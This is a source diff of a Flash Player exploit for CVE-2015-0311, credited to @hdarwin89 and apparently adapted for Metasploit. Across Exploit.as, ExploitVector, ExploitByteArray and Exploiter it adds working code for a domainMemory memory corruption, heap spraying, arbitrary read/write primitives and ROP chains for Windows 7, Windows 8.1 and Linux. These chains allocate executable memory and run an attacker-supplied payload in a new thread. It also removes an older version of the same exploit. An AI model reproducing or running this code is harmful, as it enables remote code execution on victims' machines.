}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_exec_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
var p_flags:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
p_flags = e_ba.read(entry + 0x18)
|
||||
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||
seg_exec = base + e_ba.read(entry + 8)
|
||||
seg_exec_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynsym():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_SYMTAB) {
|
||||
sec_dynsym = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynstr():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_STRTAB) {
|
||||
sec_dynstr = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_got_plt():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_PLTGOT) {
|
||||
sec_got_plt = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,68 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 3. Download the Flex SDK (4.6)
|
||||
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 5. Build with: mxmlc -o msf.swf Exploit.as
|
||||
|
||||
// Original exploit by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
|
||||
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite
|
||||
import flash.display.LoaderInfo
|
||||
import flash.system.ApplicationDomain
|
||||
import flash.utils.ByteArray
|
||||
import avm2.intrinsics.memory.*
|
||||
import flash.external.ExternalInterface
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public class Exploit extends Sprite
|
||||
{
|
||||
private var data:uint = 0xdeaddead
|
||||
private var uv:Vector.<uint> = new Vector.<uint>
|
||||
private var ba:ByteArray = new ByteArray()
|
||||
private var exploiter:Exploiter
|
||||
private var b64:Base64Decoder = new Base64Decoder()
|
||||
private var payload:ByteArray
|
||||
private var platform:String
|
||||
private var os:String
|
||||
|
||||
public function Exploit()
|
||||
{
|
||||
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray()
|
||||
|
||||
// defrag
|
||||
for (var i:uint = 0; i < 10000; i++) new Vector.<uint>(0x3e0)
|
||||
|
||||
for (i = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
|
||||
ba.compress()
|
||||
ApplicationDomain.currentDomain.domainMemory = ba
|
||||
ba.position = 0x200
|
||||
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
|
||||
try {
|
||||
ba.uncompress()
|
||||
} catch (e:Error) { }
|
||||
uv = new Vector.<uint>(0x3e0)
|
||||
uv[0] = 0
|
||||
|
||||
var test:uint = li32(0)
|
||||
if (test == 0x3e0) {
|
||||
si32(0xffffffff, 0) // corrupted
|
||||
} else {
|
||||
Logger.log('[*] Exploit - corruption fail: ' + test.toString(16))
|
||||
return // something failed
|
||||
}
|
||||
|
||||
exploiter = new Exploiter(this, platform, os, payload, uv)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,85 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray
|
||||
|
||||
public class ExploitByteArray
|
||||
{
|
||||
private const MAX_STRING_LENGTH:uint = 100
|
||||
public var ba:ByteArray
|
||||
public var original_length:uint
|
||||
private var platform:String
|
||||
|
||||
public function ExploitByteArray(p:String, l:uint = 1024)
|
||||
{
|
||||
ba = new ByteArray()
|
||||
ba.length = l
|
||||
ba.endian = "littleEndian"
|
||||
ba.writeUnsignedInt(0)
|
||||
platform = p
|
||||
original_length = l
|
||||
}
|
||||
|
||||
public function set_length(length:uint):void
|
||||
{
|
||||
ba.length = length
|
||||
}
|
||||
|
||||
public function get_length():uint
|
||||
{
|
||||
return ba.length
|
||||
}
|
||||
|
||||
public function lets_ready():void
|
||||
{
|
||||
ba.endian = "littleEndian"
|
||||
if (platform == "linux") {
|
||||
ba.length = 0xffffffff
|
||||
}
|
||||
}
|
||||
|
||||
public function is_ready():Boolean
|
||||
{
|
||||
if (ba.length == 0xffffffff)
|
||||
return true
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
public function read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
public function read_string(addr:uint, length:uint = 0):String
|
||||
{
|
||||
ba.position = addr
|
||||
if (length == 0)
|
||||
return ba.readUTFBytes(MAX_STRING_LENGTH)
|
||||
else
|
||||
return ba.readUTFBytes(length)
|
||||
}
|
||||
|
||||
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
var i:uint
|
||||
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else if (value is ByteArray) {
|
||||
var value_length:uint = value.length
|
||||
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,74 @@
|
|||
package
|
||||
{
|
||||
public class ExploitVector
|
||||
{
|
||||
private var uv:Vector.<uint>
|
||||
public var original_length:uint = 0x3e0
|
||||
|
||||
public function ExploitVector(v:Vector.<uint>)
|
||||
{
|
||||
uv = v
|
||||
}
|
||||
|
||||
public function restore():void
|
||||
{
|
||||
uv[0x3ffffffe] = original_length
|
||||
}
|
||||
|
||||
public function is_ready():Boolean
|
||||
{
|
||||
if (uv.length > original_length)
|
||||
{
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
public function at(pos:uint):uint
|
||||
{
|
||||
return uv[pos]
|
||||
}
|
||||
|
||||
// pos: position where a Vector.<Object>[0] lives
|
||||
public function set_own_address(pos:uint):void
|
||||
{
|
||||
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
|
||||
}
|
||||
|
||||
public function read(addr:uint):uint
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
return uv[pos]
|
||||
}
|
||||
|
||||
public function write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
uv[pos] = value
|
||||
}
|
||||
|
||||
public function search_pattern(pattern:uint, limit:uint):uint
|
||||
{
|
||||
for (var i:uint = 0; i < limit/4; i++) {
|
||||
if (uv[i] == pattern) {
|
||||
return i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,399 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray
|
||||
import flash.system.System
|
||||
|
||||
public class Exploiter
|
||||
{
|
||||
private const VECTOR_OBJECTS_LENGTH:uint = 1014
|
||||
private var exploit:Exploit
|
||||
private var ev:ExploitVector
|
||||
private var eba:ExploitByteArray
|
||||
private var payload:ByteArray
|
||||
private var platform:String
|
||||
private var op_system:String
|
||||
private var pos:uint
|
||||
private var byte_array_object:uint
|
||||
private var main:uint
|
||||
private var stack_object:uint
|
||||
private var payload_space_object:uint
|
||||
private var buffer_object:uint
|
||||
private var buffer:uint
|
||||
private var vtable:uint
|
||||
private var stack_address:uint
|
||||
private var payload_address:uint
|
||||
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var spray:Vector.<Object> = new Vector.<Object>(89698)
|
||||
|
||||
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
|
||||
{
|
||||
exploit = exp
|
||||
payload = p
|
||||
platform = pl
|
||||
op_system = os
|
||||
|
||||
ev = new ExploitVector(uv)
|
||||
if (!ev.is_ready()) return
|
||||
eba = new ExploitByteArray(platform)
|
||||
spray_objects()
|
||||
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
|
||||
ev.set_own_address(pos)
|
||||
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
|
||||
disclose_addresses()
|
||||
corrupt_byte_array()
|
||||
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
|
||||
do_rop()
|
||||
restore_byte_array()
|
||||
ev.restore()
|
||||
cleanup()
|
||||
}
|
||||
|
||||
private function spray_objects():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - spray_objects()")
|
||||
for (var i:uint = 0; i < spray.length; i++)
|
||||
{
|
||||
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||
spray[i][0] = eba.ba
|
||||
spray[i][1] = exploit
|
||||
spray[i][2] = stack
|
||||
spray[i][3] = payload_space
|
||||
}
|
||||
}
|
||||
|
||||
private function search_objects():uint
|
||||
{
|
||||
Logger.log("[*] Exploiter - search_objects()")
|
||||
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x4000)
|
||||
return idx + 1
|
||||
}
|
||||
|
||||
private function disclose_objects():Boolean
|
||||
{
|
||||
Logger.log("[*] Exploiter - disclose_objects()")
|
||||
byte_array_object = ev.at(pos) - 1
|
||||
main = ev.at(pos + 1) - 1
|
||||
stack_object = ev.at(pos + 2) - 1
|
||||
payload_space_object = ev.at(pos + 3) - 1
|
||||
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
private function disclose_addresses():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - disclose_addresses()")
|
||||
if (platform == "linux")
|
||||
{
|
||||
buffer_object = ev.read(byte_array_object + 0x10)
|
||||
buffer = ev.read(buffer_object + 0x1c)
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
buffer_object = ev.read(byte_array_object + 0x40)
|
||||
buffer = ev.read(buffer_object + 8)
|
||||
}
|
||||
vtable = ev.read(main)
|
||||
stack_address = ev.read(stack_object + 0x18)
|
||||
payload_address = ev.read(payload_space_object + 0x18)
|
||||
}
|
||||
|
||||
private function corrupt_byte_array():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
|
||||
if (platform == "linux")
|
||||
{
|
||||
ev.write(buffer_object + 0x1c) // *array
|
||||
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
ev.write(buffer_object + 8) // *array
|
||||
ev.write(buffer_object + 16, 0xffffffff) // capacity
|
||||
}
|
||||
eba.lets_ready()
|
||||
}
|
||||
|
||||
private function restore_byte_array():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
|
||||
if (platform == "linux")
|
||||
{
|
||||
ev.write(buffer_object + 0x1c, buffer) // *array
|
||||
ev.write(buffer_object + 0x20, 1024) // capacity
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
ev.write(buffer_object + 8, buffer) // *array
|
||||
ev.write(buffer_object + 16, 1024) // capacity
|
||||
}
|
||||
eba.set_length(eba.original_length)
|
||||
}
|
||||
|
||||
private function do_rop():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop()")
|
||||
if (platform == "linux") {
|
||||
do_rop_linux()
|
||||
} else if (platform == "win") {
|
||||
if (op_system == "Windows 8.1") {
|
||||
do_rop_windows8()
|
||||
} else if (op_system == "Windows 7") {
|
||||
do_rop_windows()
|
||||
} else {
|
||||
return
|
||||
}
|
||||
} else {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
private function do_rop_windows():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_windows()")
|
||||
var pe:PE = new PE(eba)
|
||||
var flash:uint = pe.base(vtable)
|
||||
var winmm:uint = pe.module("winmm.dll", flash)
|
||||
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
|
||||
var createthread:uint = pe.procedure("CreateThread", kernel32)
|
||||
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||
|
||||
// Continuation of execution
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
eba.write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
eba.write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
eba.write(0, virtualalloc)
|
||||
eba.write(0, buffer + 0x10)
|
||||
eba.write(0, 0x1000)
|
||||
eba.write(0, 0x40)
|
||||
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// VirtualAlloc
|
||||
eba.write(0, memcpy)
|
||||
eba.write(0, 0x7f6e0000)
|
||||
eba.write(0, 0x4000)
|
||||
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||
|
||||
// memcpy
|
||||
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||
eba.write(0, 0x7f6e0000)
|
||||
eba.write(0, payload_address + 8)
|
||||
eba.write(0, payload.length)
|
||||
|
||||
// CreateThread
|
||||
eba.write(0, createthread)
|
||||
eba.write(0, buffer + 0x10) // return to fix things
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0x7f6e0000)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
|
||||
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
exploit.toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
private function do_rop_windows8():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_windows8()")
|
||||
var pe:PE = new PE(eba)
|
||||
var flash:uint = pe.base(vtable)
|
||||
var winmm:uint = pe.module("winmm.dll", flash)
|
||||
var advapi32:uint = pe.module("advapi32.dll", flash)
|
||||
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
|
||||
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
|
||||
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
|
||||
var createthread:uint = pe.procedure("CreateThread", kernelbase)
|
||||
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||
|
||||
// Continuation of execution
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
eba.write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
eba.write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
eba.write(0, virtualalloc)
|
||||
eba.write(0, buffer + 0x10)
|
||||
eba.write(0, 0x1000)
|
||||
eba.write(0, 0x40)
|
||||
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// VirtualAlloc
|
||||
eba.write(0, memcpy)
|
||||
eba.write(0, 0x7ffd0000)
|
||||
eba.write(0, 0x4000)
|
||||
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||
|
||||
// memcpy
|
||||
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||
eba.write(0, 0x7ffd0000)
|
||||
eba.write(0, payload_address + 8)
|
||||
eba.write(0, payload.length)
|
||||
|
||||
// CreateThread
|
||||
eba.write(0, createthread)
|
||||
eba.write(0, buffer + 0x10) // return to fix things
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0x7ffd0000)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
|
||||
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
exploit.toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
private function do_rop_linux():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_linux()")
|
||||
var flash:Elf = new Elf(eba, vtable)
|
||||
var feof:uint = flash.external_symbol('feof')
|
||||
var libc:Elf = new Elf(eba, feof)
|
||||
var popen:uint = libc.symbol("popen")
|
||||
var mprotect:uint = libc.symbol("mprotect")
|
||||
var mmap:uint = libc.symbol("mmap")
|
||||
var clone:uint = libc.symbol("clone")
|
||||
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||
|
||||
// Continuation of execution
|
||||
// 1) Recover original vtable
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
// 2) Recover original stack
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||
|
||||
// my_memcpy
|
||||
eba.write(buffer + 0x60, "\x56", false) // push esi
|
||||
eba.write(0, "\x57", false) // push edi
|
||||
eba.write(0, "\x51", false) // push ecx
|
||||
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
|
||||
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
|
||||
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
|
||||
eba.write(0, "\xF3\xA4", false) // rep movsb
|
||||
eba.write(0, "\x59", false) // pop ecx
|
||||
eba.write(0, "\x5f", false) // pop edi
|
||||
eba.write(0, "\x5e", false) // pop esi
|
||||
eba.write(0, "\xc3", false) // ret
|
||||
|
||||
// Put the popen parameters in memory
|
||||
eba.write(payload_address + 0x8, payload, true) // false
|
||||
|
||||
// Put the fake stack/vtable on memory
|
||||
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
|
||||
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
|
||||
|
||||
// Return to mprotect()
|
||||
eba.write(stack_address + 0x18034, mprotect)
|
||||
// Return to stackpivot (jmp over mprotect parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mprotect() arguments
|
||||
eba.write(0, buffer) // addr
|
||||
eba.write(0, 0x1000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
|
||||
// Return to mmap()
|
||||
eba.write(stack_address + 0x18068, mmap)
|
||||
// Return to stackpivot (jmp over mmap parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mmap() code segment arguments
|
||||
eba.write(0, 0x70000000) // 0x70000000
|
||||
eba.write(0, 0x4000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||
eba.write(0, 0xffffffff) // filedes
|
||||
eba.write(0, 0) // offset
|
||||
|
||||
// Return to mmap()
|
||||
eba.write(stack_address + 0x1809c, mmap)
|
||||
// Return to stackpivot (jmp over mmap parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mmap() stack segment arguments
|
||||
eba.write(0, 0x70008000) // NULL
|
||||
eba.write(0, 0x10000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||
eba.write(0, -1) // filedes
|
||||
eba.write(0, 0) // offset
|
||||
|
||||
// Return to memcpy()
|
||||
eba.write(stack_address + 0x180d0, buffer + 0x60)
|
||||
// Return to stackpivot (jmp over memcpy parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// memcpy() parameters
|
||||
eba.write(0, 0x70000000)
|
||||
eba.write(0, payload_address + 0x8)
|
||||
eba.write(0, payload.length)
|
||||
|
||||
// Return to clone()
|
||||
eba.write(stack_address + 0x18104, clone)
|
||||
// Return to CoE (fix stack and object vtable)
|
||||
eba.write(0, buffer + 0x10)
|
||||
// clone() arguments
|
||||
eba.write(0, 0x70000000) // code
|
||||
eba.write(0, 0x7000bff0) // stack
|
||||
eba.write(0, 0x00000100) // flags CLONE_VM
|
||||
eba.write(0, 0) // args
|
||||
|
||||
//call DWORD PTR [eax+0x24]
|
||||
//EAX: 0x41414141 ('AAAA')
|
||||
//EDI: 0xad857088 ("AAAA\377")
|
||||
eba.write(main, stack_address + 0x18000)
|
||||
exploit.hasOwnProperty('msf')
|
||||
}
|
||||
|
||||
private function cleanup():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - cleanup()")
|
||||
spray = null
|
||||
stack = null
|
||||
payload_space = null
|
||||
eba = null
|
||||
ev = null
|
||||
exploit = null
|
||||
System.pauseForGCIfCollectionImminent(0)
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,32 @@
|
|||
package
|
||||
{
|
||||
import flash.external.ExternalInterface
|
||||
|
||||
public class Logger {
|
||||
private static const DEBUG:uint = 0
|
||||
|
||||
public static function alert(msg:String):void
|
||||
{
|
||||
var str:String = "";
|
||||
|
||||
if (DEBUG == 1)
|
||||
str += msg;
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("alert", str);
|
||||
}
|
||||
}
|
||||
|
||||
public static function log(msg:String):void
|
||||
{
|
||||
var str:String = "";
|
||||
|
||||
if (DEBUG == 1)
|
||||
str += msg;
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("console.log", str);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,243 +0,0 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Be support to support 16.0 as target-player (flex-config.xml).
|
||||
// 3. Download the Flex SDK (4.6)
|
||||
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 5. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
|
||||
// Modified to be used from msf
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite;
|
||||
import flash.display.LoaderInfo;
|
||||
import flash.system.ApplicationDomain;
|
||||
import flash.utils.ByteArray;
|
||||
import avm2.intrinsics.memory.casi32;
|
||||
import flash.external.ExternalInterface;
|
||||
import mx.utils.Base64Decoder;
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var data:uint = 0xdeaddead
|
||||
private var uv:Vector.<Object> = new Vector.<Object>
|
||||
private var ba:ByteArray = new ByteArray()
|
||||
private var spray:Vector.<Object> = new Vector.<Object>(51200)
|
||||
private var b64:Base64Decoder = new Base64Decoder();
|
||||
private var payload:String = "";
|
||||
|
||||
/*public static function log(msg:String):void{
|
||||
var str:String = "";
|
||||
str += msg;
|
||||
|
||||
trace(str);
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("alert", str);
|
||||
}
|
||||
}*/
|
||||
|
||||
public function Main()
|
||||
{
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString();
|
||||
|
||||
for (var i:uint = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
|
||||
ba.compress()
|
||||
ApplicationDomain.currentDomain.domainMemory = ba
|
||||
ba.position = 0x200
|
||||
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
|
||||
try {
|
||||
ba.uncompress()
|
||||
} catch (e:Error) { }
|
||||
uv[0] = new Vector.<uint>(0x3E0)
|
||||
casi32(0, 0x3e0, 0xffffffff)
|
||||
|
||||
for (i = 0; i < spray.length; i++) {
|
||||
spray[i] = new Vector.<Object>(1014)
|
||||
spray[i][0] = ba
|
||||
spray[i][1] = this
|
||||
}
|
||||
|
||||
/*
|
||||
0:008> dd 5ca4000
|
||||
05ca4000 ffffffff 05042000 05ca4000 00000000
|
||||
05ca4010 00000000 00000000 00000000 00000000
|
||||
05ca4020 00000000 00000000 00000000 00000000
|
||||
05ca4030 00000000 00000000 00000000 00000000
|
||||
05ca4040 00000000 00000000 00000000 00000000
|
||||
05ca4050 00000000 00000000 00000000 00000000
|
||||
05ca4060 00000000 00000000 00000000 00000000
|
||||
05ca4070 00000000 00000000 00000000 00000000
|
||||
*/
|
||||
uv[0][0] = uv[0][0x2000003] - 0x18 - 0x2000000 * 4
|
||||
//log("uv[0][0]: " + uv[0][0].toString(16));
|
||||
|
||||
ba.endian = "littleEndian"
|
||||
ba.length = 0x500000
|
||||
var buffer:uint = vector_read(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8) + 0x100000
|
||||
//log("buffer: " + buffer.toString(16));
|
||||
|
||||
var main:uint = uv[0][0x2000009] - 1
|
||||
//log("main: " + main.toString(16));
|
||||
|
||||
var vtable:uint = vector_read(main)
|
||||
//log("vtable: " + vtable.toString(16));
|
||||
|
||||
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8)
|
||||
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 16, 0xffffffff)
|
||||
byte_write(uv[0][0])
|
||||
|
||||
var flash:uint = base(vtable)
|
||||
//log("flash: " + flash.toString(16));
|
||||
|
||||
